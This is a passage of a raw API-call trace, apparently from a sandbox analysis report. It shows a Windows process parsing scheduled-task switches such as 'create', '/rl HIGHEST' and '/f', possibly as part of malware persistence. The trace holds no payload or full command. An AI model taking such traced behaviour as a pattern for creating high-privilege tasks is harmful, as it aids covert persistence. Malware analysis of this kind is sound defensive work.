[0130.907] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|rl|") returned 4 [0130.907] lstrlenW (lpString="|ri|") returned 4 [0130.907] lstrlenW (lpString="|rl|") returned 4 [0130.907] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0130.907] SetLastError (dwErrCode=0x490) [0130.907] lstrlenW (lpString="z") returned 1 [0130.980] lstrlenW (lpString="z") returned 1 [0130.980] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.980] lstrlenW (lpString="rl") returned 2 [0130.980] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.980] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|z|") returned 3 [0130.980] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|rl|") returned 4 [0130.980] lstrlenW (lpString="|z|") returned 3 [0130.981] lstrlenW (lpString="|rl|") returned 4 [0130.981] SetLastError (dwErrCode=0x490) [0130.981] lstrlenW (lpString="f") returned 1 [0130.981] lstrlenW (lpString="f") returned 1 [0130.981] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.981] lstrlenW (lpString="rl") returned 2 [0130.981] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.981] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|f|") returned 3 [0130.981] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|rl|") returned 4 [0130.981] lstrlenW (lpString="|f|") returned 3 [0130.981] lstrlenW (lpString="|rl|") returned 4 [0130.981] SetLastError (dwErrCode=0x490) [0130.981] lstrlenW (lpString="v1") returned 2 [0130.981] lstrlenW (lpString="v1") returned 2 [0130.981] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.981] lstrlenW (lpString="rl") returned 2 [0130.981] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.981] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|v1|") returned 4 [0130.981] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|rl|") returned 4 [0130.981] lstrlenW (lpString="|v1|") returned 4 [0130.981] lstrlenW (lpString="|rl|") returned 4 [0130.981] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0130.981] SetLastError (dwErrCode=0x490) [0130.981] lstrlenW (lpString="xml") returned 3 [0130.981] lstrlenW (lpString="xml") returned 3 [0130.981] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.982] lstrlenW (lpString="rl") returned 2 [0130.982] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.982] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|xml|") returned 5 [0130.982] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|rl|") returned 4 [0130.982] lstrlenW (lpString="|xml|") returned 5 [0130.982] lstrlenW (lpString="|rl|") returned 4 [0130.982] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0130.982] SetLastError (dwErrCode=0x490) [0130.982] lstrlenW (lpString="ec") returned 2 [0130.982] lstrlenW (lpString="ec") returned 2 [0130.982] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.982] lstrlenW (lpString="rl") returned 2 [0130.982] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.982] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|ec|") returned 4 [0130.982] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|rl|") returned 4 [0130.982] lstrlenW (lpString="|ec|") returned 4 [0130.982] lstrlenW (lpString="|rl|") returned 4 [0130.982] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0130.982] SetLastError (dwErrCode=0x490) [0130.982] lstrlenW (lpString="rl") returned 2 [0130.982] lstrlenW (lpString="rl") returned 2 [0130.982] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.982] lstrlenW (lpString="rl") returned 2 [0130.982] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.982] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|rl|") returned 4 [0130.982] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|rl|") returned 4 [0130.982] lstrlenW (lpString="|rl|") returned 4 [0130.983] lstrlenW (lpString="|rl|") returned 4 [0130.983] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0130.983] SetLastError (dwErrCode=0x0) [0130.983] SetLastError (dwErrCode=0x0) [0130.983] lstrlenW (lpString="HIGHEST") returned 7 [0130.983] lstrlenW (lpString="-/") returned 2 [0130.983] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0130.983] SetLastError (dwErrCode=0x490) [0130.983] SetLastError (dwErrCode=0x490) [0130.983] SetLastError (dwErrCode=0x0) [0130.983] lstrlenW (lpString="HIGHEST") returned 7 [0130.983] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0130.983] SetLastError (dwErrCode=0x490) [0130.983] SetLastError (dwErrCode=0x0) [0130.983] _memicmp (_Buf1=0x45d5a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.983] lstrlenW (lpString="HIGHEST") returned 7 [0130.983] lstrlenW (lpString="HIGHEST") returned 7 [0130.983] lstrlenW (lpString=" \x09") returned 2 [0130.983] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0130.983] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0130.983] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0130.983] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0130.983] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0130.983] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0130.983] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0130.983] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0130.983] GetLastError () returned 0x0 [0130.983] lstrlenW (lpString="HIGHEST") returned 7 [0130.984] lstrlenW (lpString="HIGHEST") returned 7 [0130.984] SetLastError (dwErrCode=0x0) [0130.984] SetLastError (dwErrCode=0x0) [0130.984] lstrlenW (lpString="/f") returned 2 [0130.984] lstrlenW (lpString="-/") returned 2 [0130.984] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0130.984] lstrlenW (lpString="create") returned 6 [0130.984] lstrlenW (lpString="create") returned 6 [0130.984] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.984] lstrlenW (lpString="f") returned 1 [0130.984] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.984] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|create|") returned 8 [0130.984] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|f|") returned 3 [0130.984] lstrlenW (lpString="|create|") returned 8 [0130.984] lstrlenW (lpString="|f|") returned 3 [0130.984] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0130.984] SetLastError (dwErrCode=0x490) [0130.984] lstrlenW (lpString="?") returned 1 [0130.984] lstrlenW (lpString="?") returned 1 [0130.984] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.984] lstrlenW (lpString="f") returned 1 [0130.984] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.984] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|?|") returned 3 [0130.984] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|f|") returned 3 [0130.984] lstrlenW (lpString="|?|") returned 3 [0130.984] lstrlenW (lpString="|f|") returned 3 [0130.984] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0130.985] SetLastError (dwErrCode=0x490) [0130.985] lstrlenW (lpString="s") returned 1 [0130.985] lstrlenW (lpString="s") returned 1 [0130.985] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.985] lstrlenW (lpString="f") returned 1 [0130.985] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.985] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|s|") returned 3 [0130.985] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|f|") returned 3 [0130.985] lstrlenW (lpString="|s|") returned 3 [0130.985] lstrlenW (lpString="|f|") returned 3 [0130.985] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0130.985] SetLastError (dwErrCode=0x490) [0130.985] lstrlenW (lpString="u") returned 1 [0130.985] lstrlenW (lpString="u") returned 1 [0130.985] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.985] lstrlenW (lpString="f") returned 1 [0130.985] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.985] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|u|") returned 3 [0130.985] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|f|") returned 3 [0130.985] lstrlenW (lpString="|u|") returned 3 [0130.986] lstrlenW (lpString="|f|") returned 3 [0130.986] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0130.986] SetLastError (dwErrCode=0x490) [0130.986] lstrlenW (lpString="p") returned 1 [0130.986] lstrlenW (lpString="p") returned 1 [0130.986] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.986] lstrlenW (lpString="f") returned 1 [0130.986] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.986] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|p|") returned 3 [0130.986] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|f|") returned 3 [0130.986] lstrlenW (lpString="|p|") returned 3 [0130.986] lstrlenW (lpString="|f|") returned 3 [0130.986] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0130.986] SetLastError (dwErrCode=0x490) [0130.986] lstrlenW (lpString="ru") returned 2 [0130.986] lstrlenW (lpString="ru") returned 2 [0130.986] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.986] lstrlenW (lpString="f") returned 1 [0130.986] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.986] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|ru|") returned 4 [0130.986] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|f|") returned 3 [0130.986] lstrlenW (lpString="|ru|") returned 4 [0130.986] lstrlenW (lpString="|f|") returned 3 [0130.986] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0130.987] SetLastError (dwErrCode=0x490) [0130.987] lstrlenW (lpString="rp") returned 2 [0130.987] lstrlenW (lpString="rp") returned 2 [0130.987] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.987] lstrlenW (lpString="f") returned 1 [0130.987] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.987] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|rp|") returned 4 [0130.987] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|f|") returned 3 [0130.987] lstrlenW (lpString="|rp|") returned 4 [0130.987] lstrlenW (lpString="|f|") returned 3 [0130.987] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0130.987] SetLastError (dwErrCode=0x490) [0130.987] lstrlenW (lpString="sc") returned 2 [0130.987] lstrlenW (lpString="sc") returned 2 [0130.987] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.987] lstrlenW (lpString="f") returned 1 [0130.987] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.987] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|sc|") returned 4 [0130.987] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|f|") returned 3 [0130.987] lstrlenW (lpString="|sc|") returned 4 [0130.987] lstrlenW (lpString="|f|") returned 3 [0130.987] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0130.987] SetLastError (dwErrCode=0x490) [0130.987] lstrlenW (lpString="mo") returned 2 [0130.987] lstrlenW (lpString="mo") returned 2 [0130.987] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.987] lstrlenW (lpString="f") returned 1 [0130.988] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.988] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|mo|") returned 4 [0130.988] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|f|") returned 3 [0130.988] lstrlenW (lpString="|mo|") returned 4 [0130.988] lstrlenW (lpString="|f|") returned 3 [0130.988] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0130.988] SetLastError (dwErrCode=0x490) [0130.988] lstrlenW (lpString="d") returned 1 [0130.988] lstrlenW (lpString="d") returned 1 [0130.988] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.988] lstrlenW (lpString="f") returned 1 [0130.988] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.988] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|d|") returned 3 [0130.988] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|f|") returned 3 [0130.988] lstrlenW (lpString="|d|") returned 3 [0130.988] lstrlenW (lpString="|f|") returned 3 [0130.988] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0130.988] SetLastError (dwErrCode=0x490) [0130.988] lstrlenW (lpString="m") returned 1 [0130.988] lstrlenW (lpString="m") returned 1 [0130.988] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.988] lstrlenW (lpString="f") returned 1 [0130.988] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.988] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|m|") returned 3 [0130.988] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|f|") returned 3 [0130.989] lstrlenW (lpString="|m|") returned 3 [0130.989] lstrlenW (lpString="|f|") returned 3 [0130.989] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0130.989] SetLastError (dwErrCode=0x490) [0130.989] lstrlenW (lpString="i") returned 1 [0130.989] lstrlenW (lpString="i") returned 1 [0130.989] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.989] lstrlenW (lpString="f") returned 1 [0130.989] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.989] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|i|") returned 3 [0130.989] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|f|") returned 3 [0130.989] lstrlenW (lpString="|i|") returned 3 [0130.989] lstrlenW (lpString="|f|") returned 3 [0130.989] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0130.989] SetLastError (dwErrCode=0x490) [0130.989] lstrlenW (lpString="tn") returned 2 [0130.989] lstrlenW (lpString="tn") returned 2 [0130.989] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.989] lstrlenW (lpString="f") returned 1 [0130.990] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.990] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|tn|") returned 4 [0130.990] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|f|") returned 3 [0130.990] lstrlenW (lpString="|tn|") returned 4 [0130.990] lstrlenW (lpString="|f|") returned 3 [0130.990] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0130.990] SetLastError (dwErrCode=0x490) [0130.990] lstrlenW (lpString="tr") returned 2 [0130.990] lstrlenW (lpString="tr") returned 2 [0130.990] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.990] lstrlenW (lpString="f") returned 1 [0130.990] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.990] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|tr|") returned 4 [0130.990] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|f|") returned 3 [0130.990] lstrlenW (lpString="|tr|") returned 4 [0130.990] lstrlenW (lpString="|f|") returned 3 [0130.990] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0130.990] SetLastError (dwErrCode=0x490) [0130.990] lstrlenW (lpString="st") returned 2 [0130.991] lstrlenW (lpString="st") returned 2 [0130.991] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.991] lstrlenW (lpString="f") returned 1 [0130.991] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.991] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|st|") returned 4 [0130.991] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|f|") returned 3 [0130.991] lstrlenW (lpString="|st|") returned 4 [0130.991] lstrlenW (lpString="|f|") returned 3 [0130.991] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0130.991] SetLastError (dwErrCode=0x490) [0130.991] lstrlenW (lpString="sd") returned 2 [0130.991] lstrlenW (lpString="sd") returned 2 [0130.991] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.991] lstrlenW (lpString="f") returned 1 [0130.991] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.991] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|sd|") returned 4 [0130.991] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|f|") returned 3 [0130.991] lstrlenW (lpString="|sd|") returned 4 [0130.991] lstrlenW (lpString="|f|") returned 3 [0130.992] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0130.992] SetLastError (dwErrCode=0x490) [0130.992] lstrlenW (lpString="ed") returned 2 [0130.992] lstrlenW (lpString="ed") returned 2 [0130.992] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.992] lstrlenW (lpString="f") returned 1 [0130.992] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.992] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|ed|") returned 4 [0130.992] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|f|") returned 3 [0130.992] lstrlenW (lpString="|ed|") returned 4 [0130.992] lstrlenW (lpString="|f|") returned 3 [0130.992] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0130.992] SetLastError (dwErrCode=0x490) [0130.992] lstrlenW (lpString="it") returned 2 [0130.992] lstrlenW (lpString="it") returned 2 [0130.992] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.992] lstrlenW (lpString="f") returned 1 [0130.992] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.992] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|it|") returned 4 [0130.993] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|f|") returned 3 [0130.993] lstrlenW (lpString="|it|") returned 4 [0130.993] lstrlenW (lpString="|f|") returned 3 [0130.993] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0130.993] SetLastError (dwErrCode=0x490) [0130.993] lstrlenW (lpString="et") returned 2 [0130.993] lstrlenW (lpString="et") returned 2 [0130.993] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.993] lstrlenW (lpString="f") returned 1 [0130.993] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.993] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|et|") returned 4 [0130.993] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|f|") returned 3 [0130.993] lstrlenW (lpString="|et|") returned 4 [0130.993] lstrlenW (lpString="|f|") returned 3 [0130.993] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0130.993] SetLastError (dwErrCode=0x490) [0130.993] lstrlenW (lpString="k") returned 1 [0130.993] lstrlenW (lpString="k") returned 1 [0130.994] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.994] lstrlenW (lpString="f") returned 1 [0130.994] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.994] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|k|") returned 3 [0130.994] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|f|") returned 3 [0130.994] lstrlenW (lpString="|k|") returned 3 [0130.994] lstrlenW (lpString="|f|") returned 3 [0130.994] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0130.994] SetLastError (dwErrCode=0x490) [0130.994] lstrlenW (lpString="du") returned 2 [0130.994] lstrlenW (lpString="du") returned 2 [0130.994] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.994] lstrlenW (lpString="f") returned 1 [0130.994] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.994] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|du|") returned 4 [0130.994] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|f|") returned 3 [0130.994] lstrlenW (lpString="|du|") returned 4 [0130.995] lstrlenW (lpString="|f|") returned 3 [0130.995] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0130.995] SetLastError (dwErrCode=0x490) [0130.995] lstrlenW (lpString="ri") returned 2 [0130.995] lstrlenW (lpString="ri") returned 2 [0130.995] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.995] lstrlenW (lpString="f") returned 1 [0130.995] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.995] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|ri|") returned 4 [0130.995] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|f|") returned 3 [0130.995] lstrlenW (lpString="|ri|") returned 4 [0130.995] lstrlenW (lpString="|f|") returned 3 [0130.995] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0130.995] SetLastError (dwErrCode=0x490) [0130.995] lstrlenW (lpString="z") returned 1 [0130.995] lstrlenW (lpString="z") returned 1 [0130.995] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.995] lstrlenW (lpString="f") returned 1 [0130.995] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.996] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|z|") returned 3 [0130.996] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|f|") returned 3 [0130.996] lstrlenW (lpString="|z|") returned 3 [0130.996] lstrlenW (lpString="|f|") returned 3 [0130.996] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0130.996] SetLastError (dwErrCode=0x490) [0130.996] lstrlenW (lpString="f") returned 1 [0130.996] lstrlenW (lpString="f") returned 1 [0130.996] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.996] lstrlenW (lpString="f") returned 1 [0130.996] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.996] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|f|") returned 3 [0130.996] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|f|") returned 3 [0130.996] lstrlenW (lpString="|f|") returned 3 [0130.996] lstrlenW (lpString="|f|") returned 3 [0130.996] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0130.996] SetLastError (dwErrCode=0x0) [0130.996] SetLastError (dwErrCode=0x0) [0130.996] GetProcessHeap () returned 0x440000 [0130.997] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x45cdd0 [0130.997] _memicmp (_Buf1=0x45bb10, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.997] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x45d300, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0130.997] lstrlenW (lpString="LIMITED") returned 7 [0130.997] GetProcessHeap () returned 0x440000 [0130.997] RtlAllocateHeap (HeapHandle=0x440000, 